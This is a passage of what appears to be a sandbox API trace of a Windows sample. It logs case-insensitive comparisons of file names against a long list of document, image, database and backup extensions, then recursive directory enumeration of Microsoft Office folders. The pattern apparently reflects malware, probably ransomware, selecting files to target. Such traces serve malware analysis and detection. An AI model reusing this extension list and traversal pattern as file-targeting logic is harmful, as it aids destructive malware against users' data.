(lpString1=".aspx", lpString2="0.WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".backup", lpString2="590.WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0045.943] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cfml", lpString2="0.WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0045.943] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".class", lpString2="90.WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".config", lpString2="590.WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0045.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".divx", lpString2="0.WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".djvu", lpString2="0.WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".docm", lpString2="0.WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0045.945] lstrcmpiW (lpString1=".dotm", lpString2="0.WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dotx", lpString2="0.WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".edml", lpString2="0.WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0045.946] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".epsf", lpString2="0.WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".epsp", lpString2="0.WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".fido", lpString2="0.WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0045.947] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0045.948] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".html", lpString2="0.WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".indd", lpString2="0.WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0045.948] lstrcmpiW (lpString1=".java", lpString2="0.WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpeg", lpString2="0.WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".json", lpString2="0.WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0045.949] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".lasso", lpString2="90.WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0045.950] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mhtml", lpString2="90.WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mkidx", lpString2="90.WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0045.951] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mpeg", lpString2="0.WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0045.952] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".onepkg", lpString2="590.WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".onetoc2", lpString2="0590.WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0045.953] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".php3", lpString2="0.WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".php4", lpString2="0.WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".php5", lpString2="0.WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".phtml", lpString2="90.WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pict", lpString2="0.WMF") returned -1 [0045.954] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".potm", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".potx", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".ppam", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".ppsm", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pptm", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".pptx", lpString2="0.WMF") returned -1 [0045.955] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0045.956] lstrcmpiW (lpString1=".rdf", lpString2=".WMF") returned -1 [0052.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.171] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.171] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x353ee18 | out: lpFindFileData=0x353ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2388 [0052.171] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x353ee18 | out: lpFindFileData=0x353ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.171] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x353ee18 | out: lpFindFileData=0x353ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.171] FindClose (in: hFindFile=0x3ef2388 | out: hFindFile=0x3ef2388) returned 1 [0052.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39406e0 | out: hHeap=0x510000) returned 1 [0052.172] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.172] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.172] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.172] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.172] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.172] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.172] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.173] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0052.173] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0052.173] FindNextFileW (in: hFindFile=0x3ef2108, lpFindFileData=0x353f58c | out: lpFindFileData=0x353f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0052.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0052.174] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.174] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0052.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.175] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.175] FindNextFileW 